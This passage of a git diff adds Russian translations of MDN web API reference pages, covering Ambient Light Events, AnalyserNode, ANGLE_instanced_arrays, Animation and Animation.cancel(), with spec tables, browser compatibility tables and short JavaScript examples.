+   <td>{{SpecName("HTML WHATWG", "#abstractworker", "AbstractWorker")}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Без изменений {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Workers", "#the-abstractworker-abstract-interface", "AbstractWorker")}}</td>
+   <td>{{Spec2("Web Workers")}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>
+
+
+<p>{{Compat("api.AbstractWorker")}}</p>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейсы для {{domxref("Worker")}}, {{domxref("ServiceWorker")}}, и {{domxref("SharedWorker")}} , которые все основаны на <code>AbstractWorker</code>.</li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using Web Workers</a></li>
+</ul>
diff --git a/files/ru/web/api/ambient_light_events/index.html b/files/ru/web/api/ambient_light_events/index.html
new file mode 100644
index 0000000000..c6bd42b7d0
--- /dev/null
+++ b/files/ru/web/api/ambient_light_events/index.html
@@ -0,0 +1,112 @@
+---
+title: Ambient Light Events
+slug: Web/API/Ambient_Light_Events
+tags:
+  - Освещенность
+translation_of: Web/API/Ambient_Light_Events
+---
+<div>{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}</div>
+
+<p>Cобытия "окружающего света" -  удобный способ уведомить веб-страницу или приложение о каком-либо изменении интенсивности света. Это позволяет им реагировать на такое изменение, например, путем изменения цветового контраста пользовательского интерфейса (UI) или путем изменения экспозиции, необходимой для фотографирования.</p>
+
+<h2 id="Световые_события">Световые события</h2>
+
+<p>Когда датчик света устройства обнаруживает изменение уровня освещенности, он уведомляет браузер об этом изменении. Когда браузер получает такое уведомление, он вызывает {{domxref("DeviceLightEvent")}} событие, которое предоставляет информацию о точной интенсивности света.</p>
+
+<p>Это событие может быть захвачено на уровне объектом окна, используя метод {{domxref("EventTarget.addEventListener","addEventListener")}}  (используя имя события {{event("devicelight")}} ) или путем присоединения обработчика событий к свойству {{domxref("window.ondevicelight")}}.</p>
+
+<p>После того, как захвачен объект события дает доступ к интенсивности света, выраженного в <a href="http://en.wikipedia.org/wiki/Lux">lux</a> через свойство {{domxref("DeviceLightEvent.value")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener('devicelight', function(event) {
+  var html = document.getElementsByTagName('html')[0];
+
+  if (event.value &lt; 50) {
+    html.classList.add('darklight');
+    html.classList.remove('brightlight');
+  } else {
+    html.classList.add('brightlight');
+    html.classList.remove('darklight');
+  }
+});</pre>
+
+<h2 id="Характеристики">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("AmbientLight", "", "Ambient Light Events")}}</td>
+   <td>{{Spec2("AmbientLight")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("22.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>{{domxref("DeviceLightEvent")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>support</td>
+   <td>{{CompatGeckoMobile("15.0")}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Событие {{event("devicelight")}} реализуется и включено по умолчанию в Firefox Mobile для Android (15.0) и в Firefox OS (B2G). Начиная с Gecko 22.0{{geckoRelease("22.0")}} реализация рабочего стола для Mac OS X также доступна. Поддержка Windows 7 находится в стадии разработки (см. {{bug(754199)}}).</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("DeviceLightEvent")}}</li>
+ <li>{{event("devicelight")}}</li>
+</ul>
diff --git a/files/ru/web/api/analysernode/index.html b/files/ru/web/api/analysernode/index.html
new file mode 100644
index 0000000000..13032fbbf8
--- /dev/null
+++ b/files/ru/web/api/analysernode/index.html
@@ -0,0 +1,183 @@
+---
+title: AnalyserNode
+slug: Web/API/AnalyserNode
+translation_of: Web/API/AnalyserNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<p><strong><code>AnalyserNode</code></strong><strong> </strong>интерфейс который предоставляет частоту (frequency) в реальном времени.  Элемент {{domxref("AudioNode")}} который пропускает аудиопоток неизменным от ввода (input) до вывода (output), но позволяет использовать генерируемые данные, обрабатывать или создавать аудиовизуализацию.</p>
+
+<p><code>AnalyserNode</code> имеет только один ввод и один вывод. Узел работает даже если вывод не подсоединен.</p>
+
+<p><img alt="Without modifying the audio stream, the node allows to get the frequency and time-domain data associated to it, using a FFT." src="https://mdn.mozillademos.org/files/12970/fttaudiodata_en.svg" style="height: 206px; width: 693px;"></p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Количество входов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество выводов</th>
+   <td><code>1</code> (but may be left unconnected)</td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Количество каналов</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Наследование">Наследование</h2>
+
+<p>Интерфейс унаследован от  следующих родительских интерфейсов:</p>
+
+<p>{{InheritanceDiagram}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.AnalyserNode", "AnalyserNode()")}}</dt>
+ <dd>Creates a new instance of an <code>AnalyserNode</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.fftSize")}}</dt>
+ <dd>Is an unsigned long value representing the size of the FFT (<a href="http://en.wikipedia.org/wiki/Fast_Fourier_transform" title="/en-US/docs/">Fast Fourier Transform</a>) to be used to determine the frequency domain.</dd>
+ <dt>{{domxref("AnalyserNode.frequencyBinCount")}} {{readonlyInline}}</dt>
+ <dd>Is an unsigned long value half that of the FFT size. This generally equates to the number of data values you will have to play with for the visualization.</dd>
+ <dt>{{domxref("AnalyserNode.minDecibels")}}</dt>
+ <dd>Is a double value representing the minimum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the minimum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.maxDecibels")}}</dt>
+ <dd>Is a double value representing the maximum power value in the scaling range for the FFT analysis data, for conversion to unsigned byte values — basically, this specifies the maximum value for the range of results when using <code>getByteFrequencyData()</code>.</dd>
+ <dt>{{domxref("AnalyserNode.smoothingTimeConstant")}}</dt>
+ <dd>Is a double value representing the averaging constant with the last analysis frame — basically, it makes the transition between values over time smoother.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Float32Array")}} array passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getByteFrequencyData()")}}</dt>
+ <dd>Copies the current frequency data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("AnalyserNode.getFloatTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Float32Array")}} array passed into it.</dd>
+ <dt>{{domxref("AnalyserNode.getByteTimeDomainData()")}}</dt>
+ <dd>Copies the current waveform, or time-domain, data into a {{domxref("Uint8Array")}} (unsigned byte array) passed into it.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<div class="note">
+<p><strong>Note</strong>: See the guide <a href="/en-US/docs/Web/API/Web_Audio_API/Visualizations_with_Web_Audio_API">Visualizations with Web Audio API</a> for more information on creating audio visualizations.</p>
+</div>
+
+<h3 id="Basic_usage">Basic usage</h3>
+
+<p>The following example shows basic usage of an {{domxref("AudioContext")}} to create an <code>AnalyserNode</code>, then {{domxref("window.requestAnimationFrame()","requestAnimationFrame")}} and {{htmlelement("canvas")}} to collect time domain data repeatedly and draw an "oscilloscope style" output of the current audio input. For more complete applied examples/information, check out our <a href="https://mdn.github.io/voice-change-o-matic/">Voice-change-O-matic</a> demo (see <a href="https://github.com/mdn/voice-change-o-matic/blob/gh-pages/scripts/app.js#L128-L205">app.js lines 128–205</a> for relevant code).</p>
+
+<pre class="brush: js notranslate">var audioCtx = new(window.AudioContext || window.webkitAudioContext)();
+var analyser = audioCtx.createAnalyser();
+
+// ...
+
+analyser.fftSize = 2048;
+var bufferLength = analyser.frequencyBinCount;
+var dataArray = new Uint8Array(bufferLength);
+analyser.getByteTimeDomainData(dataArray);
+
+// Get a canvas defined with ID "oscilloscope"
+var canvas = document.getElementById("oscilloscope");
+var canvasCtx = canvas.getContext("2d");
+
+// draw an oscilloscope of the current audio source
+
+function draw() {
+
+  requestAnimationFrame(draw);
+
+  analyser.getByteTimeDomainData(dataArray);
+
+  canvasCtx.fillStyle = "rgb(200, 200, 200)";
+  canvasCtx.fillRect(0, 0, canvas.width, canvas.height);
+
+  canvasCtx.lineWidth = 2;
+  canvasCtx.strokeStyle = "rgb(0, 0, 0)";
+
+  canvasCtx.beginPath();
+
+  var sliceWidth = canvas.width * 1.0 / bufferLength;
+  var x = 0;
+
+  for (var i = 0; i &lt; bufferLength; i++) {
+
+    var v = dataArray[i] / 128.0;
+    var y = v * canvas.height / 2;
+
+    if (i === 0) {
+      canvasCtx.moveTo(x, y);
+    } else {
+      canvasCtx.lineTo(x, y);
+    }
+
+    x += sliceWidth;
+  }
+
+  canvasCtx.lineTo(canvas.width, canvas.height / 2);
+  canvasCtx.stroke();
+}
+
+draw();
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-analysernode-interface', 'AnalyserNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.AnalyserNode")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ru/web/api/angle_instanced_arrays/index.html b/files/ru/web/api/angle_instanced_arrays/index.html
new file mode 100644
index 0000000000..558e053527
--- /dev/null
+++ b/files/ru/web/api/angle_instanced_arrays/index.html
@@ -0,0 +1,81 @@
+---
+title: ANGLE_instanced_arrays
+slug: Web/API/ANGLE_instanced_arrays
+translation_of: Web/API/ANGLE_instanced_arrays
+---
+<div>{{APIRef("WebGL")}}</div>
+
+<p>Расширение <strong>ANGLE_instanced_arrays</strong> является частью API WebGL и позволяет рисовать один и тот же объект или группы похожих объектов несколько раз, если они используют одни и те же данные вершин, количество примитивов и тип.</p>
+
+<p>Доступ к WebGL расширениям можно получить с помощью метода {{domxref("WebGLRenderingContext.getExtension()")}}. Для получения дополнительной информации см. также в <a href="/en-US/docs/Web/API/WebGL_API/Using_Extensions">Использование расширений</a> в  <a href="/en-US/docs/Web/API/WebGL_API/Tutorial">WebGL руководстве</a>.</p>
+
+<div class="note">
+<p><strong>Доступность:</strong> Это расширение доступно только для {{domxref("WebGLRenderingContext", "WebGL1", "", 1)}} контекстов. В {{domxref ("WebGL2RenderingContext", "WebGL2", "", 1)}}, функциональность этого расширения доступна в контексте WebGL2 по умолчанию, а константы и методы доступны без суффикса " <code>ANGLE</code> ".</p>
+
+<p>Несмотря на название " ANGLE ", это расширение работает на любом устройстве, если аппаратное обеспечение поддерживает его, а не только на Windows при использовании библиотеки ANGLE . " ANGLE " просто указывает, что это расширение было написано авторами библиотеки ANGLE.</p>
+</div>
+
+<h2 id="Константы">Константы</h2>
+
+<p>Это расширение предоставляет одну новую константу, которую можно использовать в {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} методе:</p>
+
+<dl>
+ <dt><code>ext.VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE</code></dt>
+ <dd>Возвращает {{domxref("GLint")}} , описывающий частотный делитель, используемый для упомянутого перевода в {{domxref("WebGLRenderingContext.getVertexAttrib()", "gl.getVertexAttrib()")}} в качестве параметра <code>pname</code>.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p>Это расширение предоставляет три новых метода:</p>
+
+<dl>
+ <dt>{{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}}</dt>
+ <dd>
+ <p>Behaves identically to {{domxref("WebGLRenderingContext.drawArrays()", "gl.drawArrays()")}} except that multiple instances of the range of elements are executed, and the instance advances for each iteration.</p>
+ </dd>
+ <dt>{{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}</dt>
+ <dd>Ведет себя идентично {{domxref("WebGLRenderingContext.drawElements()", "gl.drawElements()")}} за исключением того, что выполняется несколько экземпляров набора элементов и экземпляр перемещается между каждым набором</dd>
+ <dt>{{domxref("ANGLE_instanced_arrays.vertexAttribDivisorANGLE()", "ext.vertexAttribDivisorANGLE()")}}</dt>
+ <dd>
+ <p>Изменяет скорость продвижения общих атрибутов вершин при визуализации нескольких экземпляров примитивов с помощью {{domxref("ANGLE_instanced_arrays.drawArraysInstancedANGLE()", "ext.drawArraysInstancedANGLE()")}} и {{domxref("ANGLE_instanced_arrays.drawElementsInstancedANGLE()", "ext.drawElementsInstancedANGLE()")}}.</p>
+ </dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Включение расширения:</p>
+
+<pre class="brush: js">var ext = gl.getExtension('ANGLE_instanced_arrays');
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ANGLE_instanced_arrays', '', 'ANGLE_instanced_arrays')}}</td>
+   <td>{{Spec2('ANGLE_instanced_arrays')}}</td>
+   <td>Первоначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_браузеров">Совместимость браузеров</h2>
+
+<p class="hidden">Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, пожалуйста, проверьте https://github.com/mdn/browser-compat-data и отправьте нам запрос.</p>
+
+<p>{{Compat("api.ANGLE_instanced_arrays")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WebGLRenderingContext.getExtension()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.drawArraysInstanced()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.drawElementsInstanced()")}}</li>
+ <li>{{domxref("WebGL2RenderingContext.vertexAttribDivisor()")}}</li>
+</ul>
diff --git a/files/ru/web/api/animation/cancel/index.html b/files/ru/web/api/animation/cancel/index.html
new file mode 100644
index 0000000000..b5b4d0cd4a
--- /dev/null
+++ b/files/ru/web/api/animation/cancel/index.html
@@ -0,0 +1,110 @@
+---
+title: Animation.cancel()
+slug: Web/API/Animation/cancel
+translation_of: Web/API/Animation/cancel
+---
+<p>{{ SeeCompatTable() }}{{ APIRef("Web Animations") }}</p>
+
+<p>Метод <code><strong>cancel()</strong></code> API Web Animation интерфейса {{domxref("Animation")}} очищает все {{domxref("KeyframeEffect")}} вызванной этой анимацией и прекращает его воспроизведение.</p>
+
+<div class="note">
+<p>Когда анимация отменена, её {{domxref("Animation.startTime", "startTime")}} и {{domxref("Animation.currentTime", "currentTime")}} устанавливаются в <code>null</code>.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>Animation</em>.cancel();</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<p>None.</p>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>None.</p>
+
+<h3 id="Exceptions">Exceptions</h3>
+
+<p>Этот метод не выбрасывает напрямую исключения; однако, если {{domxref("Animation.playState", "playState")}} анимации во время отмены ничего кроме <code>"idle"</code>, {{domxref("Animation.finished", "current finished promise", "", 1)}} отклоняется с помощью {{domxref("DOMException")}} названным <code>AbortError</code>.</p>
+
+<dl>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Animations', '#dom-animation-cancel', 'Animation.cancel()' )}}</td>
+   <td>{{Spec2('Web Animations')}}</td>
+   <td>Editor's draft.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39)}}</td>
+   <td>{{CompatGeckoDesktop(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(26)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(39)}}</td>
+   <td>{{CompatChrome(39)}}</td>
+   <td>{{CompatGeckoMobile(48)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOperaMobile(26)}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" style="line-height: 30px; font-size: 2.14285714285714rem;">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a></li>
+ <li>{{domxref("KeyframeEffect")}}</li>
+ <li>{{domxref("Animation")}}</li>
+ <li>{{domxref("Animation.playState")}}</li>
+ <li>{{domxref("Animation.finished")}} returns the promise this action will reject if the animation's <code>playState</code> is not <code>"idle"</code>.</li>
+</ul>
diff --git a/files/ru/web/api/animation/index.html b/files/ru/web/api/animation/index.html
new file mode 100644
index 0000000000..d1deb15f99
--- /dev/null
+++ b/files/ru/web/api/animation/index.html
@@ -0,0 +1,190 @@
+---
+title: Animation
+slug: Web/API/Animation
+translation_of: Web/API/Animation
+---
+<div>{{ APIRef("Web Animations") }}{{SeeCompatTable}}</div>
+
+<p><code><strong>Animation</strong></code> это интерфейс <a href="https://developer.mozilla.org/en-US/docs/Web/API/Web_Animations_API">Web Animations API</a>, представляет из себя одиночный проигрыватель анимации и обеспечивает управление воспроизведением и временную шкалу для узла анимации или источника.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("Animation.Animation()", "Animation()")}}</dt>
+ <dd>Создает новый экземпляр объекта <code>Animation.</code></dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Animation.currentTime")}}</dt>
+ <dd>Текущее значение времени анимации в миллисекундах, независимо от того работает анимация или приостановлена. Если анимация не имеет {{domxref("AnimationTimeline", "timeline")}}, неактивна или еще не воспроизведена, то это значение равно нулю.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.effect")}}</dt>
+ <dd>Возвращает и задает {{domxref ("AnimationEffectReadOnly")}} связанный с этой анимацией. Обычно это объект {{domxref ("KeyframeEffect")}}.</dd>
+ <dt>{{domxref("Animation.finished")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает текущее завершенное Promise(обещание) для этой анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.id")}}</dt>
+ <dd>Возвращает и задает String(строку), используемую для идентификации анимации.</dd>
+ <dt>{{domxref("Animation.playState")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает перечисляемое значение, описывающее состояние воспроизведения анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.playbackRate")}}</dt>
+ <dd>Возвращает или задает скорость воспроизведения анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.ready")}} {{readOnlyInline}}</dt>
+ <dd>Возвращает текущее готовое Promise(обещание) для этой анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.startTime")}}</dt>
+ <dd>Возвращает или задает начало выполнения анимации.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.timeline")}}</dt>
+ <dd>Возвращает или задает {{domxref("AnimationTimeline", "timeline")}}, связанную с этой анимации.</dd>
+</dl>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("Animation.oncancel")}}</dt>
+ <dd>Возвращает и задает обработчик событий для отмены события.</dd>
+ <dt>{{domxref("Animation.onfinish")}}</dt>
+ <dd>Возвращает и задает обработчик событий для завершения события.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Animation.cancel()")}}</dt>
+ <dd>Очищает все {{domxref("KeyframeEffect", "keyframeEffects")}} вызванные этой анимацией и прекращает его выполнение.</dd>
+ <dt>{{domxref("animation.commitStyles()")}}</dt>
+ <dd>Фиксирует конечное состояние стиля анимации к анимируемому элементу, даже после того, как эта анимация была удалена. Это приведет к тому, что конечное состояние стиля будет записано в анимируемый элемент в виде свойств внутри атрибута стиля.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.finish()")}}</dt>
+ <dd>Ищет конец анимации, в зависимости от того, играет ли анимация или инвертирует.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.pause()")}}</dt>
+ <dd>Приостанавливает запущенную анимацию.</dd>
+ <dt>{{domxref("animation.persist()")}}</dt>
+ <dd>Анимация сохраняется в явном виде, когда в противном случае она была бы удалена из-за поведения браузера, которое предполагает автоматическое удаление анимаций заполнения.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.play()")}}</dt>
+ <dd>Запускает или продолжает выполнение анимации или начинает анимацию снова, если она ранее завершилась.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("Animation.reverse()")}}</dt>
+ <dd>Меняет направление воспроизведения, останавливаясь в начале анимации. Если анимация закончена или не запущена, то будет проигрываться с конца к началу.</dd>
+ <dt>{{domxref("Animation.updatePlaybackRate()")}}</dt>
+ <dd>Задает скорость анимации после синхронизации ее положения воспроизведения.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web Animations", "#the-animation-interface", "Animation")}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Microsoft Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(39.0)}} [1]</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Конструктор</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}} [1]</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Конструктор</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(48)}}<sup>[2][3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] До Chrome 44, реализован как <code>AnimationPlayer</code> (название интерфейса в ранней версии спецификации).</p>
+
+<p>[2] API Веб Анимации включён по умолчанию только в Firefox Developer Edition и в Nightly builds. Вы можете включить его в сборках beta и release переключив свойство <code>dom.animations-api.core.enabled</code> на <code>true</code>, и можете выключить его в любой версии Firefox переключив его на <code>false</code>.</p>
+
+<p>[3] До Firefox 51, свойство {{domxref("Animation.effect")}} было только для чтения.</p>
diff --git a/files/ru/web/api/animationevent/animationevent/index.html b/files/ru/web/api/animationevent/animationevent/index.html
new file mode 100644
index 0000000000..11d4a5cc71
--- /dev/null
+++ b/files/ru/web/api/animationevent/animationevent/index.html
@@ -0,0 +1,67 @@
+---
+title: AnimationEvent()
+slug: Web/API/AnimationEvent/AnimationEvent
+translation_of: Web/API/AnimationEvent/AnimationEvent
+---
+<p>{{APIRef("Web Animations")}}{{SeeCompatTable}}</p>
+
+<p>The <code><strong>AnimationEvent()</strong></code> constructor returns a newly created {{domxref("AnimationEvent")}}, representing an event in relation with an animation.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>animationEvent</em> = new AnimationEvent(<em>type</em>, {animationName: <em>aPropertyName</em>,
+                                           elapsedTime  : <em>aFloat</em>,
+                                           pseudoElement: <em>aPseudoElementName</em>});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p><em>Конструктор <code>AnimationEvent()</code>  также наследует аргументы от объекта {{domxref("Event.Event", "Event()")}}.</em></p>
+
+<dl>
+ <dt><code>type</code></dt>
+ <dd>A {{domxref("DOMString")}} representing the name of the type of the <code>AnimationEvent</code>. It is case-sensitive and can be: <code>'animationstart'</code>, <code>'animationend'</code>, or <code>'animationiteration'</code>.</dd>
+ <dt><code>animationName</code> {{optional_inline}}</dt>
+ <dd>A {{domxref("DOMString")}} containing the value of the {{cssxref("animation-name")}} CSS property associated with the transition. It defaults to <code>""</code>.</dd>
+ <dt><code>elapsedTime</code> {{optional_inline}}</dt>
+ <dd>A <code>float</code> giving the amount of time the animation has been running, in seconds, when this event fired, excluding any time the animation was paused. For an <code>"animationstart"</code> event, <code>elapsedTime</code> is <code>0.0</code> unless there was a negative value for {{cssxref("animation-delay")}}, in which case the event will be fired with <code>elapsedTime</code> containing <code>(-1 * </code><em>delay</em><code>)</code>. It defaults to <code>0.0</code>.</dd>
+ <dt><code>pseudoElement</code> {{optional_inline}}</dt>
